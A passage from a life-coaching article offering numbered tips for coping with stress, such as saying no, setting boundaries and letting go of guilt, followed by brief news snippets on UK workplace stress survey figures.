A quick way to find yourself suffering an intenser version of stress is when you try to control it.As a coach, I believe we can get out of situations and move forward, however I also know from the coping skill above that when we try to force the universe to bend in a new way, it can use up a lot of energy concentrating on the wrong things.You can control what you think, you can change your actions, and sometimes the most powerful skill is to accept that this is out of your hands. Self awareness will help you understand the differences and what to do and when.

13. Say no

We talked about the need to be honest and if you explore this coping mechanism further, you will see that as humans we really want to be liked. We want to get on with our neighbours, or colleagues our friend’s friends. The issue with this in stressful times we really do need to turn around and say things like:

  • No sorry I can’t help you.
  • No, now is not a good time.
  • No, I’m not finding this easy.
  • No, I can’t do it.

The reason we don’t say things like this is because we fear what people think of us. We want to be liked. We don’t want people think we don’t care, which leads me onto the next point.

14. Embrace weakness

The above statements are often held in our heads unsaid because we don’t want to appear weak, awkward, incapable and a ton of other negatives. The interesting thing is that what we think people are thinking about us is so often untrue.Take the client above that feared telling their boss they were struggling with their work load. On the contrary to looking weak and incapable, the whole department got a makeover. That’s not weak, that’s powerful.Watch out for the incorrect falsehoods that you let hang out in your head. They are making stressful situations a lot harder!The next time it feels weak to be honest or to say no, ask yourself “Does the way I currently think serve me well?”

15. Set boundaries

Boundaries are important to us all. It feels great when we get on holiday and we can do what we like when we like, however left like that for more than a few weeks and things can disintegrate and fall apart.We need boundaries. And at stressful times, boundaries can really help. They enable you to feel safe to be honest and work and think in a way that helps you and they set out what you will tolerate and deal with and what you wont.Remember creating boundaries is a lot like saying no and most of the negative thoughts you are having around boundaries are imaginary too. If you aren’t going to answer work email at 10pm on a Saturday night, don’t.Establish your boundaries, communicate them and stick by them.

16. Get passionate

In stressful times, we can find ourselves living in negative, soul destroying emotions and moods. To the point that we can attempt to numb ourselves from them.The next time the emotions start to impact on you, think about all of the things that you are passionate about.No one need know what you are thinking about, so if you find yourself thinking about your dog before your partner, that’s fine.Get yourself a big old list that makes you smile. Even if the smile doesn’t feel real, your brain is still benefiting. When we get really bogged down in stressful times, it can be hard to believe that we will ever feel good again.We can’t change everything instantly but interestingly (and I find miraculously), we can change our mindset in the click of a finger. Getting passionate could help you do that.

17. Ask for it

If you need time, a hug, a conversation, a massage, a run, a nap, a walk, a helping hand, ask for it.Of all the fears in my book Fight the Fear, so many come back to the fear of what other people will think of us and I’ve heard so many people tell me that they’ve learnt to ask for what they want.Stop fearing asking for what you need. Learn to accept that asking for what you want not only helps you navigate through stressful times, it also helps you to achieve more in life too.

18. Ditch the guilt

Guilt just loves tough times. It will be able to give you a voice in your head that tells you:

  • This is all your fault.
  • You never get it right.
  • You’ve always failed at this.
  • You should have taken better care of that.
  • You weren’t good enough to get that job.
  • If someone had to go, it had to be you.
  • No one sticks around you for long.
  • This is you, what were you expecting?

That voice is worse than Cruella Deville, Voldemort and Hannibel Lector combined. It’s intent on destroying your determination and happiness.Have you noticed how some people go through hell and keep going and others suffer far less and give up? The reason they keep going is not some shot of good fortune, it comes down to the what they let happen in their head. So chuck the guilt.

19. Never hate stress

It’s no good hating stressful times, it won’t make them magically disappear.Stress is an essential component to your body. Without some stress between bones, muscles, skin, etc you would be a floppy mess on the floor.Stress can help us grow and learn so much about ourselves. What could you discover about you from the stress you face right now?

20. Start moving

When life feels too tough, we can be tempted to hide our heads under the duvet and say “give me a call in 2050, I will come out when its all over”Trust me, I include myself in that one.In my personal life, I’ve seen a lot of awful things this year. Don’t try and be super human, as I read in The Last Highlander, when you face the most horrific of times, just concentrate on getting one foot in front of the other.

Go the extra mile

In stressful times we need people around us that will go the extra mile, and I’m one of those.Watch out for the sappers of positivity and remember the basics – sleep, eat, breathe – get those in the right measures especially when you are struggling, you see as Nan so wisely knew we can’t hide from tough times, we can’t make them magically disappear, however like a storm cloud it will eventually go away.And behind it is left that fresh new smell that says, “Mmm anything is possible”And do you know what?It is…

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One in five Britons now suffer unmanageable stress with the UK ranking the fifth worst in the world.

More than a quarter blame work.

Fewer than one in 10 employees have a workplace well-being programme which they use.

This compares to over one in five employees globally reporting they use such programmes.

The news comes despite almost half of people saying availability of a workplace well-being programme would sway them towards an employer.

The Cigna 360° Well-Being Survey questioned 14,467 people in 23 countries.

Emma Mamo, head of Workplace Wellbeing at Mind, said: “Most of us have jobs involving an element of pressure, which can be beneficial in small doses, helping us meet deadlines for example.

“But when pressure becomes unmanageable and stress is prolonged, it can negatively affect our physical and mental health.”

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MORE than eight out of 10 workers have suffered a mental health condition but only a quarter received support from employers, new figures show.

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